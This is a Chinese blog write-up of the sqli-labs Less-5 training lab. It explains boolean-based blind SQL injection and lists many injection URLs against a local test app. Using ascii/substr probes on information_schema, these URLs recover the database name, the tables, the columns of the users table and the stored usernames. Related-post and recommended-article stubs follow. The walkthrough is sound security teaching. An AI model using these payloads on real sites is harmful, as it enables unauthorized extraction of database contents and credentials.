/*
请为原作者打个标记。出自:珍惜少年时
*/
 
通过该关卡的学习我掌握到了
1.如何灵活的运用mysql里的MID、ASCII、length、等函数
2.布尔型盲注的认识
3.哦,对了还有。程序是从0开始的,limit的时候要从0开始。{0,1}
 
该文就是布尔型盲注
 
盲注又分为了以下三种:
1.布尔型盲注根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注
 
FreeBuf的一篇《详解sql盲注测试高级技巧》文章:http://www.freebuf.com/articles/web/30841.html

看下图:

直接构造出Payload:

http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+

麻烦来了,没有爆出显示位

来看看源码,由源码可以看得出来,除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注

 
昨晚心里恐惧,觉得略该睡觉了。就睡了。继续研究!
                               Start Action 
 
00x1 判断出盲注的类型
通过前面,其实已经可以判断出,当下面临的是布尔型的盲注,页面的真假。
联合到之前的ASCII逐字解码法来注入吧。
 
00x2 猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
这里使用的是and,之前是使前面的sql语句报错才用union.我也是顿悟,才知道的。问了好多人都说脚本写脚本写。尴尬。
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
 
 00x3 猜解表明
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114  解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101  解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

............................................》》》推出第一个表的表明为:referer《《《.....

一下来推第二个表的内容:

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+ 正确

当前库下(注入点连接的数据库)第二个表ASCII码为117 解码为u

当前库下(注入点连接的数据库)第二个表ASCII码为97   解码为a

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为...

............................................》》》推出第二个表的表明为:uagents《《《.....

 
 完整的表数据如下:

mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)


 00x4 猜解字段

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+

105的ASCII码为:i

=》该字段为:id

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+

117的ASCII码为:u

=>该字段为:username

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+

112的ASCII码为:p

=>该字段为:password

有图可见只有三个字段,且程序是从0开始的。所以到2为止。

当为3时就报错了。

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

 00x5 猜解内容

security.users下的第一个字段

格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
.....................................................................................................................................
最终解码后为:Dumb
security.users下的第二个字段
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
.....................................................................................................................................
最终解码后为:Angelina

#注:上面两个测试的是username,如果要猜解密码,记得改一下就可以。

 可以看一下完整的结构
 
 
 
 
转载请注明出处:珍惜少年时博客
 
 
 
 
 
 
 
THE END

 
 

Sqli-LABS通关笔录-5[SQL布尔型盲注]的更多相关文章

  1. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  2. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  3. SQL注入之Boolean型盲注

    什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...

  4. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  5. 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入

    SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...

  6. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  7. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  8. Oracle基于布尔的盲注总结

    0x01 decode 函数布尔盲注 decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3 当然值1,值2,值3也可以 ...

  9. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

随机推荐

  1. 使用 Jenkins 实现软件开发的持续集成

    转自:http://www.ibm.com/developerworks/cn/java/j-lo-jenkinsintegrate/ Jenkins 是一种易于使用的持续集成系统,它可以使开发者从繁 ...

  2. iOS点击获取短信验证码按钮

    概述 iOS点击获取短信验证码按钮, 由于 Demo整体测试运行效果 , 整个修改密码界面都已展现, 并附送正则表达式及修改密码逻辑. 详细 代码下载:http://www.demodashi.com ...

  3. 【云栖大会】阿里巴巴集团CTO张建锋:用计算和数据去改变整个世界

    摘要: 当浩瀚的数字化信息能够联网在线,在万物互联网的新世界中,所有东西都可能有感知.变智能,想象一下电表.冰箱.心电图监测仪等设备的信息都能数字化并联网,从城市管理到个人生活,都会迎来翻天覆地的变化 ...

  4. 列表生成式&生成器表达式

    一.列表生成式 def func(): return [lambda x:i*x for i in range(4)] print([j(2) for j in func()]) 结果:[6,6,6, ...

  5. 分布式缓存技术memcached学习系列(三)——memcached内存管理机制

    几个重要概念 Slab memcached通过slab机制进行内存的分配和回收,slab是一个内存块,它是memcached一次申请内存的最小单位,.在启动memcached的时候一般会使用参数-m指 ...

  6. Linux命令-用户管理:useradd,userdel,usermod,id,su,env,exit

    添加一个linux用户之后,相当于在linux系统里面创建了如下文件: 添加一个用户(默认也会创建一个同名的用户组,在linux下面用户默认必须在一个用户组里面): useradd wyp 添加用户w ...

  7. oc 类型判断

    #import <UIKit/UIKit.h> #import "AppDelegate.h" @interface A : NSObject @end @implem ...

  8. Android 在已有的项目上创建新的项目

    原工程 右键Copy   再右键点Paste 改新的工程名

  9. linux程序设计——套接字选项(第十五章)

    如今能够改进客户程序,使它能够连接到不论什么有名字的主机,这次不是连接到演示样例server,而是连接到一个标准服务,这样就能够演示port号的提取操作了. 大多数UNIX和一些linux系统都有一项 ...

  10. Sql Server添加单引号

    " ' "(单引号)的运用:在sql server中,两个" ' "(单引号)在拼接字符串的情况下运用,就是表示拼接上了一个" ' "单引号 ...